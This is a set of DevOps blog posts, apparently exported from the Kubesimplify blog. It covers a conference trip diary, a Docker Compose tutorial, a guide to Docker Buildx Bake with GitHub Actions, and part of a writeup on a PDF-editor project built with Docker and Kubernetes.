- This was the first day of our conference and second day in Dublin. Excitement and energy were at high level.

- Picked up the Badge and attended the First time Attendee Breakfast and attended the sessions on Cloud Native security and Dev Team metrics.

- Took a lunch at nearby Indian Resto and later attended few sessions related to community. 

At the evening there was a party organized at famous **Guiness Storehouse**.
The Guinness Storehouse tour was particularly interesting, they showcased the preparation of the iconic Guinness Beer, and we also got to drink some.

![WhatsApp Image 2022-10-08 at 10.32.44.jpeg](/img/blog/my-first-international-conference-open-source-summit-2022/a8vo6jHae.jpeg align="left")


Day-1 Ends here 

### Day-2 :

- Started with the River liffey Boat tour organized by Linux Foundation. Enjoyed the boat ride in the chilled winter breeze blowing on our faces☃️.
![image.png](/img/blog/my-first-international-conference-open-source-summit-2022/fveYSALpn.png align="left")
- Attended few sessions and networked with people, also had a good discussion with swift (MLH- CEO). 

![WhatsApp Image 2022-10-08 at 10.32.40.jpeg](/img/blog/my-first-international-conference-open-source-summit-2022/OluLJXElm.jpeg align="left")

![WhatsApp Image 2022-10-08 at 10.32.41.jpeg](/img/blog/my-first-international-conference-open-source-summit-2022/qd3-31b6L.jpeg align="left")
- In the evening went for the nearby places to explore Dublin City.

### Day-3 :

 - The Day-3 started with the most awaited keynote talk by the **Linus Torvalds**. The main conference hall was jam-packed and every ones eyes were upon the stage and everyone were keenly listening.

![WhatsApp Image 2022-10-08 at 10.56.14.jpeg](/img/blog/my-first-international-conference-open-source-summit-2022/GQl0UscoE.jpeg align="left")

- Got to know about the many opensource projects which exists in security and machine learning domain.

- After the keynote talk, I have attended few lightning talks on container images, ebpf.

- My lightning talk was on the same day, and it was my first time on such a big platform. Done with my talk and went well, they would soon get it uploaded on the YouTube.

![Untitled design (1).png](/img/blog/my-first-international-conference-open-source-summit-2022/tVvFtA7ka.png align="left")

- In the evening with my Indian friends went to the Malhide castle, which was an awesome beautiful place and in return we had our dinner at Punjabi Resto. 

### Day-4 :

 - The final Day of the Conference, in the morning we went for a city bus tour organized by Linux foundation. 
-We all have pre decided to take the Indian flag with us. So as it was my last day at Dublin, we all taken a pic infront of the conference hall carrying out Indian flag

![WhatsApp Image 2022-10-08 at 10.55.01.jpeg](/img/blog/my-first-international-conference-open-source-summit-2022/XZXWyA910.jpeg align="left")

- Maybe you came this far by reading, you would be thinking why I didn't mention anything about any swags and sponsor booths. Okay ok hold it I'm there! 😅

- There were nearly 80 sponsor booths to grab the swags. Apart from the swags and stickers, it was a great chance to know about the different tech products in the detailed way. 


## Conclusion :
- Got to learn many new things, grasped good knowledge, learnt how to think professionally.
-  Everyone were so welcoming to talk and ready to share the knowledge. Networked with the people from different domains of tech, got to know about different view points/perspectives.
- I got a chance to meet many tech twitter friends.
- I can say that everything is possible if you are sticked to something for a longer time, you need to show up every day, consistency pays you off. **Sky is the limit **


## Goodbye :

I have my return flight on 16 sept,2022 . Goodbye's are really hard😶. Me along with my Indian mates all became very close friends, enjoyed a lot as a team, travelled together. Everything has to come to an end. We gave a final Goodbye to the Dublin city, Ireland. Thank you for hosting the great conference at an awesome place. Came back to India on 17th sept 2022 with many heartful memories❤️

![WhatsApp Image 2022-10-08 at 11.02.41.jpeg](/img/blog/my-first-international-conference-open-source-summit-2022/szzoCRafF.jpeg align="left")

- I would be surely trying to attend the upcoming conferences. Maybe the next stop could be the **Kubecon Europe-2023🤞**. 

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Everything You Need to Know about Docker Compose

- Canonical: https://blog.kubesimplify.com/everything-you-need-to-know-about-docker-compose
- Published: 2022-09-23
- Summary: Docker Compose is a tool that allows us to containerize an entire app with just one file saving us from the tedious task of running multiple containers.

A Docker tool that allows us to containerize an entire application with just one file saving us from the tedious task of running every Docker container by hand. In this step-by-step Docker Compose tutorial, you’re going to learn how to create simple containers, map ports with Docker Compose and deploy them.

Are you ready? Let’s dig in!  

# Prerequisites  
If you’d like to follow along step-by-step, in this tutorial, ensure you have the following:  

1. You'll need a very tiny bit of Docker knowledge but if you don't, that's ok. We'll go through a quick overview of Docker and how it works.  

2. A Linux Machine. (Any Linux Distro, WSL2, Google Cloud Shell)  

# Brief overview of Docker  
Docker makes developing applications much easier to manage and the way it does that is through what's known as containers. The container is like a box that holds your application and all its dependencies together in an isolated environment.    

Let's take a step back and start from Dockerfile. You invite me over for a dinner and plan to make a meal, preferably Butter Chicken and Naan. In that case:

`Dockerfile` is your recipe book.

It has an ingredient list and portion size. Following the recipe book, you can make "one item(the sauce)" of the total meal in a vessel. Once you add everything up, to make "that one item", you have it inside "a container". That's truly what a "docker container" is. Once you are done cooking/making that item, you can take that vessel (container) and take it anywhere. Containers are supposed to be "stateless" just like your vessel. 

# What is Docker Compose?  
While our Docker application includes more than one container, at that time building, running, as well as connecting the containers from separate Dockerfiles is definitely time-consuming. So, as a solution to this problem, Docker Compose permits us to use a YAML file to define multi-container apps. 

Let's roll back to the docker example:  

Until now we only made "one item" i.e chicken sauce for the full meal, the meal consists of some naans as well. To make "A meal" you need several of those "items", you prepared using a few recipe books. Or need a few items from the same recipe book. To make naan, you gotta make the dough. They always go together. That is "sorta" like docker-compose, where several of those "containers" come together and make a complete application. Some of them have dependencies(Rice, Salad, etc). 

# Why do we need Docker Compose?  
Technically speaking, Single commands can get long, really long in Docker. Take the below as an example. This example creates a container for a software application called bookstack.  
```
$ docker create \
       --name=bookstack \
       -e PUID # UID of user to take ownership of application/files \
       -e PGID # GID of user to take ownership of application/files \
       -e DB_USER # The database user \
       -e DB_PASS # The database password \
       -e DB_HOST # The database host \
       -e DB_DATABASE # The database to be used \
       -e APP_URL # The url your application will be accessed on (required for correct operation of reverse proxy) \
       -v /host/path/to/config:/config # Location of any uploaded data \
       -p 80:80/tcp # Web UI port \
       --restart unless-stopped \
       linuxserver/bookstack:version-v0.31.4
```
As the complexity of a docker environment increases, so does the amount of flags and conditions required for a working container setup. The Docker command line starts to become cumbersome and difficult to troubleshoot; especially once multi-container setups start entering the mix.  

Docker Compose is a way to create reproducible Docker containers using a config file instead of extremely long Docker commands. By using a structured config file, mistakes are easier to pick up and container interactions are easier to define.

# Installation
Let's install Docker Compose, open your terminal and type the following commands: (Assuming you already have Docker installed, refer to the [docs](https://docs.docker.com/engine/install/) for more information on how to install Docker.)
```
$ sudo apt update
$ sudo apt install docker-compose -y
```
Run the following command to verify the installation of Docker Compose.
```
$ docker-compose -v
```

# Let's Get Practical

Using Docker Compose, we can group containers together defined within a single file. By defining multiple containers in a single file, containers can communicate between dependent services and simplify the organization of complex container layouts.  

To demonstrate such a scenario, let’s set up a simple URL Shortener built with Go by cloning this [Github Repo](https://github.com/hamees-sayed/URL-Shortener/).

This application requires a separate database and a separate web service to speak over an API, I have already configured a separate Dockerfile for the database and API service.

## Creating a Docker Compose Configuration File

To bind separate Dockerfiles together, we need to create a `docker-compose.yaml` file in the project's root directory.  
![docker-compose.gif](https://media.giphy.com/media/AgD5KjQqhpnT0lrAy7/giphy.gif)

At its most basic form, a docker-compose.yaml file for the following application looks like this. Open your favourite IDE, copy and paste the code below into the Docker Compose configuration file that we just created.
```
version: "3"

services:
  api:
    build: api
    ports:
      - "5500:5500"
    depends_on:
      - db

  db: 
    build: db
    ports:
      - "6380:6380"
    volumes: 
      - .data:/data
```
Let’s step through each of the options shown:  

- `version` specifies the version of docker compose file.  
- `services` contain the specifications for the actual containers. You can define multiple containers in this section.  
- `api` is the name of the first container and `db` of the other. You could have more containers.
- `depends_on` sets the order in which services must start and stop.  
- `volumes` keyword is used to persist data generated by and used by Docker containers. It creates a `.data` folder in the root directory to store the generated data.

### Port Mapping
`ports` in particular require a special mention.  
```
ports: 
  - "5500:5500"
```
In Docker Compose, the `ports` keyword allows you to set one or more mappings from the host to the container. For example, above you have mapped port `5500` on the host to port `5500` on the container. However, you do not need to match the port number.  

You could also define multiple ports like below.
```
ports: 
  - "5500:5500"
  - "3000:3000"
```
# Running the Container

By now you should have the `docker-compose.yaml` file inside of your root directory. Now’s the time to create and start the service.   
On your terminal and run the following command: 
```
$ sudo docker-compose up -d
```
Success! You have now successfully used Docker Compose to start a container from a config file. With that first important step taken, let’s look at how you manage the state of your container.

## Managing an application with Docker Compose
In the previous section, you started the container using the `-d` flag. Doing so ran a container in a detached state. When a container is in a detached state, the container will continue to run in the background. But, this poses a problem: how do you manage that container if you no longer have direct control?  

To solve this problem, Docker Compose has a series of commands that will manage containers starting with a `docker-compose.yaml` file:  

- `docker-compose restart` is used to restart a container that is currently running.
- `docker-compose stop` will stop a running container without destroying the container.
- `docker-compose start` will start the stopped container up again.  
- `docker-compose down` will stop the running containers and also destroy them.    

A full list of docker-compose commands can be seen by running `docker-compose` with no additional arguments or referenced here in the [documentation](https://docs.docker.com/compose/reference/).   

# Monitoring Docker Compose logs

Docker Engine works with Docker Compose and executes many different tasks in the background. Being able to monitor what's going on in the background, especially when working with multiple containers at once is quite useful.  

To monitor both the containers in URL Shortener, use the logs command and the name of the container you'd like to monitor.
```
$ docker-compose logs api db
```
![Screenshot 2022-09-17 212628.png](/img/blog/everything-you-need-to-know-about-docker-compose/Ck5Deks6c.png align="left")

# Networking in Docker Compose 

Up to this point, you haven’t learned too much about the communication and networking aspects of how containers work together. Let’s change that.  

When you create multiple containers within a single `docker-compose.yaml` file as you’ve done earlier, they are all assigned to the same network (usually called `name-of-parent-folder_default`).   
  
You can see the network created for the containers when you run docker-compose up -d as shown below.

![Screenshot 2022-09-17 212736.png](/img/blog/everything-you-need-to-know-about-docker-compose/GBNqxsVRn.png align="left")  

You can manually also define internal or external networks. Manually defining networks is great when you have a container that needs to speak to another container in a separate `docker-compose.yaml` file. You could expose the ports, or you can create a network they can both join!

To define an external network, modify the URL Shortener `docker-compose.yaml` to include an externally created network.  


1. Create the external network with 
```
$ docker network create my_external_network
```

2.  Define the external network in `docker-compose.yaml`:     
```
version: "3"

  services:   
    api:   
      build: api   
      ports:   
        - "5500:5500"   
      depends_on:   
        - db   
      networks:   
        - "my_external_network"   
        - "url-shortener_default"   

  db:   
      build: db   
      ports:   
        - "6380: 6380"   
      volumes:   
        - .data:/data    
      networks:   
        - "url-shortener_default"   

  networks:   
      "my_external_network":   
      "url-shortener_default":   
        external: true   
```   

> Note: When you explicitly define networks, you also have to explicitly define the default network.   

3. Run `docker-compose up -d` to recreate the containers. Your two containers are now joined to two networks as shown below.  

![Screenshot 2022-09-17 213257.png](/img/blog/everything-you-need-to-know-about-docker-compose/7P2kjfVTD.png align="left")  


# Conclusion
At this stage, you should have enough information to follow along with the majority of docker-compose tutorials out on the web. Having this knowledge can vastly expand your ability to move into the world of Docker, and the building of web apps in Infrastructure as Code.

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Bake your Container Images with Bake 📦👨‍🍳

- Canonical: https://blog.kubesimplify.com/bake-your-container-images-with-bake
- Published: 2022-09-05

### Why Bake?
As the title implies, there are various ways of defining the docker build process in a declarative manner, such as Docker's Dockerfile, Buildah's Containerfile, BuildKit's frontend concept, and from now on, Buildx's bake file. They all seem to do the same thing, but many opportunities are available to discover for each one of them. I'm not sure about saying that the bake file is a new definition format to define the build process for several reasons. In this guide, let's discover what these are together and decide whether the bake file is yet another Docker build definition format.

Before getting started to explain what the bake file is, it's worth saying to understand better what we are going to talk about in this guide, and you need to have a little knowledge about what BuildKit and Buildx are. Fortunately, I've written a [blog](https://kubesimplify.com/the-secret-gems-behind-building-container-images-enter-buildkit-and-docker-buildx) post explaining these terms in detail, so I suggest reading it first and then coming back later to this and exploring other capabilities of them.

As the Docker [documentation says](https://docs.docker.com/build/bake/), bake is a high-level build command. So let's start by explaining what it means. Suppose you've read the blog post I mentioned below or are already working with Buildx. In that case, you may notice that there are many features we can use to simplify things like caching, performance, and storage management in the first place, but there is one more downside to this. Also, not sure whether it counts as a downside, ***but at least for me***, it is. To use all the great features supported in Buildx makes the build command like the following:

```shell
docker buildx build \
--push \
--cache-from "type=registry,ref=foo/myapp" \
--cache-to "type=inline" \
--platform "linux/amd64,linux/arm/v6,linux/arm/v7,linux/arm64" \
--label "org.opencontainers.image.title=myapp" \
--label "org.opencontainers.image.source=https://github.com/foo/myapp" \
--label "org.opencontainers.image.version=1.0.0" \
--label "org.opencontainers.image.licenses=Apache-2.0" \
--tag "foo/myapp:v1.0.0" \
--tag "foo/myapp:latest" \
--file "./main.Dockerfile" \
.
```

I know we are sharing the same feelings, it is a relatively long and verbose command🫣

This is where the bake comes to the rescue and makes this command a lot simpler for us to use and improves the reusability between targets by providing inheritance, don’t worry, we’ll be explaining all the new terms in the later stages, such as targets, inheritance, etc.

> Please note that the bake command is still in the early stages, so it is considered an experimental command.

The new command will become this when we adapt to use the bake command to achieve the same thing that the command above tries:

```shell
docker buildx bake
```

That’s it, all you need to do is to write a `docker-bake.hcl` file to define your build process, and the bake command will take care of the rest. By default, buildx bake looks for build definition files in the current directory in the following order, and the following are parsed:

- `docker-compose.yml`
- `docker-compose.yaml`
- `docker-bake.json`
- `docker-bake.override.json`
- `docker-bake.hcl`
- `docker-bake.override.hcl`

As you can see from the file list above, the bake command supports building images from HCL, JSON, and Compose files, but the recommended one is to use HCL files since its experience is more aligned with buildx UX and also allows better code reuse, different target groups, and extended features. If multiple files are specified, they are all read, and configurations are combined. Also, there are several ways to identify the location of these build definition files.

For example, you can use the -f, --file flag, even with the name of the targets, to build only specific target(s). You can also use a remote `git` bake definition by giving a valid Git URL next to the bake command. And also `--print` option exists in the bake command for debugging purposes. It allows you to print the whole or the target’s build definition and helps you see what will happen when you start the build process.

Based on the principle that the best way to learn something is to get your hands dirty by playing with it, we’ll be focusing on a Go project in that we can experience bake features on it.

> You can reach out to the example project on [GitHub](https://github.com/developer-guy/hello-world-buildx).

Let's copy the project and let our bake command adventure begin. First, you might notice that there is a Dockerfile in this project. By the way, it is worth mentioning that we still need a well-designed, cache-efficient Dockerfile to use the bake command, and this is why we are not accepting a bake command as yet another build definition format because you continue to use Dockerfile to express your build process in a declarative fashion. Next, there is one more file you are unfamiliar with in the traditional containerization process named `docker-bake.hcl`. But, as we speak, this is one of the default files for which the bake command will search.

In the first place, when you start browsing the docker-bake.hcl file, it seems too much for you, but again don't worry, we'll be explaining all the details within that file one by one. But, it's safe to say that the minimum viable elements of the docker-bake.hcl file is the target. So, the following content for the file is enough to make a container image with the bake command:

```HCL
target "default" {}
```

When you invoke the bake command, specify the targets/groups you want to build. For example, the group/target named default will be built if no arguments are specified. A target reflects a single docker build invocation with the same options you would specify for docker build. On the other hand, a group is a grouping of targets. You will likely use targets and groups a lot in your file because, don’t forget, bake supports inheritance, and the best way of utilizing this inheritance is to ensure that these targets or groups are dedicated to doing one job at a time, like the Docker philosophy, do one thing and do it well.

> Design of bake command is a work in progress, the user experience may change based on feedback.

What we aim to do here is that you remember the long command above, which uses nifty features supported in Buildx. Here, we codify them into a bake file to reduce the verbosity by keeping the same functionality. This is why you use many fields in targets defined within that file. You can access the complete list of valid target fields within the target block [here](https://docs.docker.com/build/bake/file-definition/).


As you can see from the starting point of the bake file, Bake supports defining variables through the variable block. Setting the values of these variables is very flexible, though. You can either set them with environment variables or override target configurations through the --set flag [from the command line](https://github.com/docker/buildx/blob/master/docs/guides/bake/configuring-build.md#from-command-line) at the build time.

```shell
TAG=latest docker buildx bake

TAG=latest docker buildx bake --set image.args.GO_VERSION=1.18
```

You can reach out to the [documentation](https://github.com/docker/buildx/blob/master/docs/guides/bake/configuring-build.md) to learn all the possible ways of using variables and arguments.

Within that docker-bake.hcl file, you will see one group named default which you can specify which target(s) will be built when you type the plain bake command with three targets. 

The first one is _common target, for common things like using the same configurations for all the other targets, and as you can see, it inherits from the tag target that allows you to specify any tag for a given image output by using a variable named TAG by using a special field named inherits.

```HCL
target "tag" {
  tags = ["devopps/hello-world-buildx:${TAG}"]
}

target "_common" {
  inherits = ["tag"]
  args = {
    GO_VERSION = GO_VERSION
    BUILDKIT_CONTEXT_KEEP_GIT_DIR = 1
  }
}
```

> There are also useful built-in build args like:

> ﹥ BUILDKIT_CONTEXT_KEEP_GIT_DIR=`bool` trigger git context to keep the .git directory

> ﹥ BUILDKIT_INLINE_BUILDINFO_ATTRS=`bool` inline build info attributes in image config or not

> ﹥ BUILDKIT_INLINE_CACHE=`bool` inline cache metadata to image config or not

> ﹥ BUILDKIT_MULTI_PLATFORM=`bool` opt into deterministic output regardless of multi-platform output or not

> https://docs.docker.com/engine/reference/builder/#buildkit-built-in-build-args

The next one is an image target, and this is where we define all the core logic for building the container image. Let’s explain what we mean by referring to the core logic for the build process.

For example, inherits field to determine which targets will be inherited as we mentioned before, as you can see, we inherited a `_common` target for this target.

```HCL
target "image" {
 inherits = ["_common", "tag"]
 ..
}
```

Another important one is the context field, for which you can specify the build context, like the dockerfile field, for which you can identify where the Dockerfile is.

```HCL
target "image" {
 context = "."
 dockerfile = "Dockerfile"
 ..
}
```

> If you want to access the main context for the bake command from a bake file imported remotely, you can use the BAKE_CMD_CONTEXTbuiltin var.

> https://docs.docker.com/build/bake/file-definition/#remote-definition

One of the great features of Buildx is that it allows you to define where the cache output will be stored or pulled, which gives you a golden key for efficiency for incremental builds, and this is where cache-from and cache-to fields come into the picture. 

```HCL
target "image" {
 cache-from = ["type=registry,ref=devopps/hello-world-buildx:latest"]
 cache-to = ["type=inline"]
 ...
}
```

Different types of cache outputs exist in Buildx for each cache-from and cache-to flags. The inline type in [cache-to](https://docs.docker.com/engine/reference/commandline/buildx_build/#cache-to) flag writes the cache metadata into the image configuration. The registry source in the [cache-from](https://docs.docker.com/engine/reference/commandline/buildx_build/#cache-from) flag can import cache from a cache manifest or (special) image configuration on the registry.

Next, we use the labels field to specify metadata information about the image.

```HCL
target "image" {
 labels = {
   "org.opencontainers.image.title"= "hello-world-buildx"
   "org.opencontainers.image.ref" = "https://github.com/foo/myapp"
 }
 ...
}
```

Last but not least, we specify where we want to export an image by using the output field.

```HCL
target "image" {
 output = ["type=registry"]
 ...
}
```

As in the cache flags, Buildx has different output types, more technically exporters, that you can use to meet your needs. Here, we use the registry type of exporter, which is a shortcut for type=image,push=true. You can reach out to the complete list of supported exporters [here](https://docs.docker.com/engine/reference/commandline/buildx_build/#output).

Let’s move on with the last target, named image-all. One of the areas that Buildx shines is the multi-arch support. It hides all the details we need to make container images suitable with multi-arch and provides many features to make that process much more efficient and performant. Again, we use the platforms field to enable this multi-arch support in targets.

```HCL
target "image-all" {
 inherits = ["image"]
 platforms = ["linux/amd64", "linux/arm64", "linux/arm/v6", "linux/arm/v7"]
 ...
}
```

As you can see from the configuration above, we specify a list of operating systems and architectures that we wanna support in the form of “os/arch” and separated with a comma.

### Bake in the wild

One of the many areas that you can use bake is GitHub Actions. For anyone unfamiliar with GitHub Actions, GitHub Actions is a CI/CD platform that gives you great power to automate, customize, and execute your software development workflows in your repository.

Today, we’ll create a GitHub action workflow to make a container image from our project and publish it to the GitHub Container Registry.

Fortunately, Docker provides many ready-to-use GitHub Actions, as you can see from the following picture:

![Screen Shot 2022-07-13 at 12.55.49 PM.png](/img/blog/bake-your-container-images-with-bake/f_VZCJoFE.png align="center")
> https://docs.google.com/presentation/d/1-1GgaLatYRMlIOKyi7duPIT2mRA4NLNKS5jQpU7V46g

First, we must create a folder structure to enable GitHub Actions, a `.github/workflows.`

Next, let’s define our workflow, to do that, we will create a YAML file that will define our release process named `release.yml.`

```YAML
name: Release
on:
  push:
    tags:
      - 'v*'

env:
  GHCR_SLUG: ghcr.io/${{ github.repository }}

jobs:
  release:
    runs-on: ubuntu-20.04
    name: Release
    steps:
      -
        name: Checkout
        uses: actions/checkout@v3
        with:
          fetch-depth: 0
      -
        name: Docker meta
        id: meta
        uses: docker/metadata-action@v4
        with:
          images: |
            ${{ env.GHCR_SLUG }}
          tags: |
            type=semver,pattern={{version}}
            type=semver,pattern={{major}}.{{minor}}
            type=ref,event=pr
            type=edge
          labels: |
            org.opencontainers.image.title=hello-world-buildx
            org.opencontainers.image.vendor=${{ github.repository_owner }}
      -
        name: Set up QEMU
        uses: docker/setup-qemu-action@v2
      -
        name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v2

      -
        name: Login to GHCR
        if: github.event_name != 'pull_request'
        uses: docker/login-action@v2
        with:
          registry: ghcr.io
          username: ${{ github.repository_owner }}
          password: ${{ secrets.GITHUB_TOKEN }}
      -
        name: Build image
        uses: docker/bake-action@v2
        env:
          GITHUB_REPOSITORY_OWNER: ${{ github.repository_owner }}
        with:
          files: |
            ./docker-bake.hcl
            ${{ steps.meta.outputs.bake-file }}
          targets: image-all
          pull: true
          push: ${{ github.event_name != 'pull_request' }}
```

Let’s move on by explaining each line in the file above.

The first thing you have to do when you create your workflow is to define when it will be triggered, in here, we said let’s trigger our workflow, then someone pushes tags that are prefixed with `v.`

```YAML
on:
  push:
    tags:
      - 'v*'
```

Next, we defined a global-scoped environment variable at the top of the file, and you can also define environment variables per job within your workflow.


```YAML
env:
  GHCR_SLUG: ghcr.io/${{ github.repository }}
```

We used a special variable named `GitHub` provided by the GitHub Actions. `GitHub` is one of the contexts provided by the GitHub Actions. Contexts allow you to access context information in workflows and actions. You can reach out to the complete list of contexts [here](https://docs.github.com/en/actions/learn-github-actions/contexts). We'll use this `GHCR_SLUG` environment variable to specify the name of the container image.

Let’s move on with the `jobs` section, where we define all the jobs that are part of that workflow.

Here, we have one job named `release,` and within that release job, we have six steps.

At the first step, ' Checkout,` we are cloning the project to the current working directory.

```YAML
- name: Checkout
  uses: actions/checkout@v3
  with:
    fetch-depth: 0
```

Next, as we mentioned, we’ll create an image suitable for multiple CPU architectures. To do that, we need some kind of emulator that can mimic the targeted CPU architecture, and this is where the QEMU comes into play, we are using the `setup-qemu-action` GitHub action to set up the QEMU emulator. I’m not going into the details of this, but if you want to learn more about it, I highly recommend you take a look at the blog post I mentioned above.

```YAML
- name: Set up QEMU
  uses: docker/setup-qemu-action@v2
```

Of course, to be able to use the bake command, we must install the Buildx binary into our environment. To do that, we are using the `setup-buildx-action` GitHub action. 

```YAML
- name: Set up Docker Buildx
  uses: docker/setup-buildx-action@v2
```

Once we build our container image, the next step would be publishing it into the GitHub Container Registry (GCR). You can store and manage Docker and OCI images in the GCR, which uses the package namespace `https://ghcr.io.` We must log in to publish our container images into the GCR first.

```YAML
- name: Login to GHCR
  if: github.event_name != 'pull_request'
  uses: docker/login-action@v2
  with:
    registry: ghcr.io
    username: ${{ github.repository_owner }}
    password: ${{ secrets.GITHUB_TOKEN }}
```

Here, you see another GitHub Action context named `secrets.` The secrets context contains the names and values of secrets that are available to a workflow run. At the start of each workflow run, GitHub automatically creates a unique `GITHUB_TOKEN` secret to using in your workflow. You can use the `GITHUB_TOKEN` to authenticate in a workflow run, see “[About the GITHUB_TOKEN secret](https://docs.github.com/en/actions/security-guides/automatic-token-authentication#about-the-github_token-secret).” 

Next, skip the `Docker Meta` step for now, and we will talk about it later.

Now, we have reached one of the favorite GitHub actions, `bake-action.` It is a GitHub Action to use Docker Buildx Bake as a high-level build command. You can reach out to the official project [here](https://github.com/docker/bake-action).

```YAML
- name: Build image
  uses: docker/bake-action@v2
  env:
    GITHUB_REPOSITORY_OWNER: ${{ github.repository_owner }}
  with:
    files: |
      ./docker-bake.hcl
      ${{ steps.meta.outputs.bake-file }}
    targets: image-all
    pull: true
    push: ${{ github.event_name != 'pull_request' }}
```

Here, we use an environment variable named GITHUB_REPOSITORY_OWNER within the docker-bake.hcl file, you can use environment variables in the form of “${ }” in your bake file, and we use GitHub action to fill its value.

As we mentioned, you can use more than one file, here, we defined two files via the files option of the bake-action, which will be merged when the command executes. I know you might be curious about the second file, but hold on for a second, and we’ll talk about it soon. We also mentioned that you could specify a target you want to run, here, we set it via the targets option of the bake-action and said that we want to run the image-all target only. You can use the pull option always to attempt to pull a newer version of the image. Also, we specified the push option with a condition which means that do not push container image any of the pull requests, push option is a shorthand for `--set=*.output=type=registry`and the default value of it is false.

Now, we can talk about the second file we refer to through a `${{ steps.meta.outputs.bake-file }}`, created automatically via `docker/metadata-action.`


```YAML
- name: Docker meta
  id: meta
  uses: docker/metadata-action@v4
  with:
    images: |
      ${{ env.GHCR_SLUG }}
    tags: |
      type=semver,pattern={{version}}
      type=semver,pattern={{major}}.{{minor}}
      type=ref,event=pr
      type=edge
    labels: |
      org.opencontainers.image.title=hello-world-buildx
      org.opencontainers.image.vendor=${{ github.repository_owner }}
```

This action handles a bake definition file that can be used with the
Docker Bake action. You just have to declare an empty target named
`docker-metadata-action` and inherit from it, as we did in the “image” target. You can reach out to the official project [here](https://github.com/docker/metadata-action#bake-definition). The content of the file (${{ steps.meta.outputs.bake-file }}) generated via the metadata-action would be like the following:

```YAML
{
  "target": {
    "docker-metadata-action": {
      "labels": {
          "org.opencontainers.image.created": "2022-07-13T09:49:36.781Z",
          "org.opencontainers.image.description": "An experimental project that demonstrates of using Docker Buildx features",
          "org.opencontainers.image.licenses": "",
          "org.opencontainers.image.ref": "https://github.com/foo/myapp",
          "org.opencontainers.image.revision": "661c923da91e6231c169b0193e01e29fc800bb24",
          "org.opencontainers.image.source": "https://github.com/developer-guy/hello-world-buildx",
          "org.opencontainers.image.title": "hello-world-buildx",
          "org.opencontainers.image.url": "https://github.com/developer-guy/hello-world-buildx",
          "org.opencontainers.image.vendor": "developer-guy",
          "org.opencontainers.image.version": "0.1.0"
        },
      "tags": [
          "ghcr.io/developer-guy/hello-world-buildx:0.1.0",
          "ghcr.io/developer-guy/hello-world-buildx:0.1",
          "ghcr.io/developer-guy/hello-world-buildx:latest"
        ],
      "args": {
         "DOCKER_META_IMAGES": "ghcr.io/developer-guy/hello-world-buildx",
         "DOCKER_META_VERSION": "0.1.0",
      }
    }
  }
}
```

As we inherit the docker-metadata-action target, those tags, labels, and args will be available for all the other targets in a reusable fashion. 

```HCL
// docker-bake.hcl
target "docker-metadata-action" {}

target "image" {
 inherits = ["_common", "docker-metadata-action"]
..
}
```

Congratulations, you have completed your setup, and you should end up having a workflow something like the following:


![Screen Shot 2022-09-06 at 8.47.02 AM.png](/img/blog/bake-your-container-images-with-bake/4NLGws1V9.png align="center")

> https://github.com/developer-guy/hello-world-buildx/runs/7318470857?check_suite_focus=true

### Conclusion

Even if the bake command is still considered an experimental feature, its experience is impressive. It includes many opportunities to improve the command because it needs feedback from the end-user community. Also, it's pretty CI/CD friendly in advance, thanks to Docker for the bake-action. So, don't forget to give yourself a chance to try to bake command of the Buildx, and don't let yourself be left behind in this adventure.

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [Linkedin](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# About my PDF-Editor Project

- Canonical: https://blog.kubesimplify.com/about-my-pdf-editor-project
- Published: 2022-09-01

# Inception

It all started with me thinking about a PDF platform that people can use instead of using licensed software. Came up with an idea of web-based which can be used on any device be it laptop or mobile, it is lightweight by default.

# Design

## PDF-Merger

![image.png](/img/blog/about-my-pdf-editor-project/OiUIaNeNg.png align="left")

## PDF-Rotator

![image.png](/img/blog/about-my-pdf-editor-project/fY7Wgjw4J.png align="left")

For the first few versions, it was a monolithic application, later converted to a microservice architecture

# Objective

* Helps in understanding JavaScript, Golang codebase
    
* A platform to implement DevOps methodology
    
* To make it useful to the end-user
    
* To use unit test of Golang and JavaScript
    

# Tech stack

* Go
    
* JavaScript
    
* Docker
    

> All the files mentioned are in https://github.com/dipankardas011/PDF-Editor

Followed the DevOps roadmap

%[https://www.youtube.com/watch?v=7l_n97Mt0ko] 

---

# Cloud Native Tools

Before going any further you need to know about the different components and how they communicate.

![image.png](/img/blog/about-my-pdf-editor-project/4yCe41nSB.png align="left")

Folder structure

![image.png](/img/blog/about-my-pdf-editor-project/h27-QzZIZ.png align="left")

## Docker

First lets start with Dockerfiles, here we used multiple stages for different use cases. To build and run multiple containers at once, use the Docker-compose

![Screenshot from 2022-08-02 23-36-15.png](/img/blog/about-my-pdf-editor-project/NQqEbUBLB.png align="left")

from src/backend/merger/Dockerfile In the above figure

> **prod-stage1** -&gt; build the executable for prod stage to consume

> **prod** -&gt; alpine image(reduced functionality and size) copy executable and templates directory to production image so that we can run as a production app

> **dev** -&gt; for development use where we mount the ${PWD}:/go/src/ and then work on the project without having to rely on the local computer go installation

> **test** -&gt; for testing the code using the docker image

> Here in the prod stage we don't require the go binary only need the template and exec file for running the app and thereby reducing the final built image

For Docker workshop

%[https://www.youtube.com/watch?v=EUu1E_YKGTw] 

## Kubernetes

As there were multiple containers I needed something to orchestrate them, docker-compose should work but I wanted something robust, so learned Kubernetes.

Created a deployment for backend and frontend, also learned how to attach volumes to the deployment for the backend container, added init-containers to load the data into the volume.

> deploy/backend -&gt; backend YAML files

> deploy/frontend -&gt; frontend YAML files

> deploy/monitoring -&gt; tracing, monitoring, visualization YAML files

Created the ingress rules (Used Nginx ingress) to connect to my app locally without relying on port-forward & Nodeport

Connected the persistence volume and persistence volume claim for the backend.

Used minikube as a production cluster (pdf-editor) (local system) as its free and minikube clusters can be stopped and started keeping Kubernetes data persistent which is not the case with kind.

```bash
minikube start --memory='3Gi' --nodes=2 -p pdf-editor
```

![image.png](/img/blog/about-my-pdf-editor-project/cmKQSJmpo.png align="left")

> In the above image it has Argo rollouts deployment so you see canary

Kustomization for controlled deployment to cluster

![image.png](/img/blog/about-my-pdf-editor-project/7-kfbdGt4.png align="left")

Helm charts: Fun fact are not needed but created and deployed to the artifact Hub.

